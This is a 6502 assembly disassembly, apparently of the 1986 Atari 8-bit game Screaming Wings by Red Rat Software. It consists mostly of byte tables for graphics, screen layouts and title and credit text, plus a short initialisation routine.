.byte $02, $03, $03, $02, $03, $03, $03, $24
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
L_9875 .byte $39, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $22, $0C, $0C, $0C
.byte $01, $0F, $10, $01, $0C, $3B, $3C, $24
.byte $2B, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $33, $22, $3F, $40, $0C
.byte $01, $11, $12, $01, $0C, $04, $05, $24
.byte $0C, $2B, $3A, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $3A, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $23, $0C, $01, $3B, $3C, $0C, $24
.byte $25, $26, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $22, $0C, $0C, $0C
.byte $01, $23, $0C, $01, $04, $05, $0C, $24
.byte $27, $28, $3A, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $3A, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $03, $03, $03
.byte $02, $03, $03, $02, $03, $03, $03, $24
.byte $27, $28, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $13, $22, $3F, $40, $0C
.byte $01, $23, $0C, $01, $0C, $0C, $0C, $24
.byte $27, $28, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $23, $0C, $01, $0C, $3B, $3C, $24
.byte $27, $28, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $13, $22, $3F, $40, $0C
.byte $01, $23, $0C, $01, $0C, $04, $05, $24
.byte $29, $2A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $23, $0C, $01, $0C, $3B, $3C, $24
.byte $0C, $2C, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $22, $3F, $40, $0C
.byte $01, $23, $0C, $01, $0C, $04, $05, $24
.byte $2C, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $0F, $10, $01, $0C, $3B, $3C, $24
.byte $3A, $39, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $22, $0C, $0C, $0C
.byte $01, $11, $12, $01, $0C, $04, $05, $24
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $3A, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $03, $03, $03
.byte $02, $03, $03, $02, $03, $03, $03, $24
.byte $37, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $22, $3F, $40, $0C
.byte $01, $23, $0C, $01, $0C, $0C, $0C, $24
.byte $3A, $39, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $30, $31, $01, $0C, $3B, $3C, $24
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $22, $3F, $40, $0C
.byte $01, $32, $36, $01, $0C, $04, $05, $24
.byte $3A, $39, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $23, $0C, $01, $0C, $0C, $0C, $24
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $34, $35, $35, $35
.byte $35, $35, $35, $35, $35, $35, $35, $36
.byte $38, $39, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $70, $70, $70, $44, $A0, $9B, $04
.byte $04, $04, $04, $04, $04, $04, $04, $04
.byte $04, $04, $04, $04, $04, $04, $04, $04
.byte $04, $04, $42, $60, $9F, $02, $02, $02
L_9B9D .byte $41, $7E, $9B, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_9C1D .byte $00, $00, $00, $70, $70, $70, $42, $40
L_9C25 .byte $9C, $02, $06, $06, $02, $02, $82, $02
L_9C2D .byte $02, $02, $02, $07, $07, $02, $02, $02
L_9C35 .byte $06, $06, $02, $02, $02, $02, $02, $02
L_9C3D .byte $41, $20, $9C, $00, $00, $00, $00, $00
L_9C45 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_9C65 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_9C8D .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $01, $02, $03, $07, $08, $01, $02, $0B
L_9C9D .byte $0C, $0D, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $04, $05, $06, $09
.byte $0A, $04, $05, $0E, $0F, $10, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_9CE5 .byte $00, $00, $00, $00, $00, $11, $12, $13
.byte $17, $18, $19, $1D, $1E, $1F, $23, $5F
.byte $60, $61, $25, $26, $27, $2B, $2C, $2D
.byte $31, $32, $00, $00, $00, $00, $00, $00
L_9D05 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $14, $15, $16
.byte $1A, $1B, $1C, $20, $21, $22, $24, $62
.byte $63, $64, $00, $29, $2A, $2E, $2F, $30
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_9D2D .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_9D3D .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $30
.byte $00, $32, $00, $25, $00, $33, $00, $25
.byte $00, $2E, $00, $34, $00, $33, $00, $00
L_9D9D .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $02, $33, $23
.byte $32, $25, $21, $2D, $29, $2E, $27, $00
.byte $37, $29, $2E, $27, $33, $02, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $08, $23, $09, $32, $25, $24, $00
.byte $32, $21, $34, $00, $33, $2F, $26, $34
.byte $37, $21, $32, $25, $00, $2C, $34, $24
L_9E3D .byte $08, $11, $19, $18, $16, $09, $00, $00
.byte $00, $00, $00, $00, $00, $51, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
L_9E55 .byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
L_9E6D .byte $52, $45, $00, $00, $00, $34, $28, $25
.byte $2D, $25, $00, $00, $2D, $35, $33, $29
L_9E7D .byte $23, $00, $00, $2F, $2E, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $0E, $0E
.byte $0E, $0E, $0E, $00, $28, $21, $33, $00
.byte $34, $2F, $24, $21, $39, $33, $00, $34
L_9EAD .byte $2F, $30, $00, $33, $23, $2F, $32, $25
.byte $1A, $10, $10, $10, $10, $10, $10, $10
.byte $00, $00, $00, $00, $00, $5A, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $43, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $30, $32, $2F
.byte $27, $32, $21, $2D, $00, $22, $39, $00
.byte $30, $21, $35, $2C, $00, $23, $32, $21
.byte $36, $25, $2E, $00, $00, $00, $12, $10
.byte $12, $10, $00, $36, $25, $32, $33, $29
.byte $2F, $2E, $00, $00, $00, $2D, $35, $33
L_9F3D .byte $29, $23, $00, $22, $39, $00, $24, $21
.byte $36, $25, $00, $26, $2F, $32, $37, $21
.byte $32, $24, $00, $00, $00, $26, $32, $21
.byte $2E, $23, $2F, $00, $23, $21, $34, $32
L_9F5D .byte $29, $2E, $00, $00, $00, $00, $00, $00
L_9F65 .byte $00, $00, $00, $00, $00, $00, $00, $00
L_9F6D .byte $00, $00, $00, $00, $00, $00, $00, $00
L_9F75 .byte $00, $00, $00, $00, $00, $00, $00, $00
L_9F7D .byte $00, $00, $00, $00, $00, $00, $00, $00
L_9F85 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_9F95 .byte $00, $00, $00, $00, $00, $00, $00, $00
L_9F9D .byte $00, $00, $00, $00, $00, $00, $00, $00
L_9FA5 .byte $00, $00, $00, $00, $00, $00, $00, $00
L_9FAD .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00
lda LOADFLG
bne L_A008
lda WARMST
bne L_A048+5
L_A008 ldx #$FF
txs
cld
ldx L_02E2+5
ldy L_02E2+6
stx LOMEM
sty LOMEM+1
lda #$00
sta MEOLFLG
sta LOADFLG
iny
txa
ldx #$82
L_A020 sta LNFLG,x
inx
sty LNFLG,x
inx
cpx #$92
bcc L_A020
ldx #$86
ldy #$01
jsr L_A878+2
ldx #$8C
ldy #$03
jsr L_A878+2
lda #$00
tay
sta (VNTD),y
sta (STMCUR),y
iny
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_A048 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $49, $4A, $4B, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $4E, $4F, $50, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $49, $4A
.byte $14, $4A, $4B, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $49, $4A, $14, $15
.byte $14, $15, $19, $4A, $4B, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $49, $14, $14, $15, $16
.byte $14, $15, $14, $18, $0C, $50, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $4D, $0C, $14, $15, $14
.byte $16, $16, $15, $15, $19, $4A, $4B, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $49, $14, $15, $16, $16, $15
.byte $14, $14, $16, $15, $15, $19, $4A, $4B
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $4D, $14, $15, $16, $15, $15, $14
.byte $16, $16, $15, $14, $14, $18, $0C, $50
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $15, $15, $14, $16, $16, $15, $14
.byte $14, $15, $16, $16, $15, $19, $0C, $4A
.byte $4B, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $16, $14, $15, $15, $14, $15, $14
.byte $15, $14, $15, $16, $14, $15, $19, $0C
.byte $0C, $4A, $4B, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $16, $15, $14, $14, $14, $15, $16
.byte $15, $16, $15, $15, $16, $15, $14, $19
.byte $0C, $0C, $50, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $15, $16, $18, $15, $16, $14, $15
.byte $16, $14, $16, $14, $15, $16, $15, $14
.byte $18, $0C, $4B, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $19, $14, $15, $16, $16, $15, $14
.byte $14, $15, $16, $15, $16, $14, $15, $16
.byte $19, $4F, $50, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $18, $19, $15, $14, $16, $16, $15
.byte $14, $15, $16, $15, $14, $15, $16, $15
.byte $18, $4B, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $14, $15, $16, $15, $16, $15, $16
.byte $16, $15, $15, $16, $14, $15, $15, $16
.byte $16, $19, $4B, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $39, $3A, $39, $3A
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $15, $14, $15, $16, $15, $16, $15
.byte $15, $16, $16, $15, $16, $14, $14, $15
.byte $17, $18, $50, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $14, $14, $16, $15, $16, $14, $14
.byte $14, $14, $16, $15, $16, $15, $16, $18
.byte $4F, $50, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $18, $18, $15, $15, $15, $14, $15
.byte $14, $15, $16, $14, $18, $18, $15, $50
.byte $3A, $39, $39, $3A, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $15, $16, $14, $18, $15, $16, $18
.byte $15, $16, $18, $14, $15, $16, $4C, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $15, $16, $14, $14, $15, $16, $14
.byte $14, $16, $14, $18, $14, $16, $15, $4A
.byte $4B, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $18, $14, $16, $15, $14, $16, $14
.byte $15, $16, $16, $14, $15, $14, $16, $15
.byte $19, $4A, $4B, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $16, $15, $14, $18, $16, $15, $14
.byte $18, $16, $15, $14, $18, $16, $15, $14
.byte $16, $18, $4C, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $14, $15, $16, $14, $15, $16, $14
.byte $15, $16, $14, $15, $16, $14, $15, $16
.byte $18, $4F, $50, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $15, $14, $16, $15, $14, $16, $15
.byte $14, $16, $15, $14, $16, $15, $14, $18
.byte $4C, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $16, $15, $14, $16, $15, $14, $16
.byte $15, $14, $16, $15, $14, $16, $18, $4F
.byte $50, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $18, $14, $15, $16, $16, $15, $14
.byte $14, $15, $16, $16, $14, $18, $4B, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $14, $18, $16, $15, $14, $18, $16
.byte $15, $14, $18, $15, $18, $4F, $50, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $16, $15, $14, $16, $15, $14, $16
.byte $15, $14, $17, $18, $4C, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $15, $14, $16, $15, $14, $16, $15
.byte $17, $18, $0C, $0C, $50, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $14, $15, $16, $15, $14, $15, $18
.byte $0C, $0C, $4F, $50, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $15, $14, $16, $16, $17, $18, $0C
.byte $0C, $4F, $4B, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $16, $16, $15, $18, $0C, $0C, $4F
.byte $50, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $17, $17, $18, $0C, $4F, $50, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $4F, $4F, $4F, $50, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
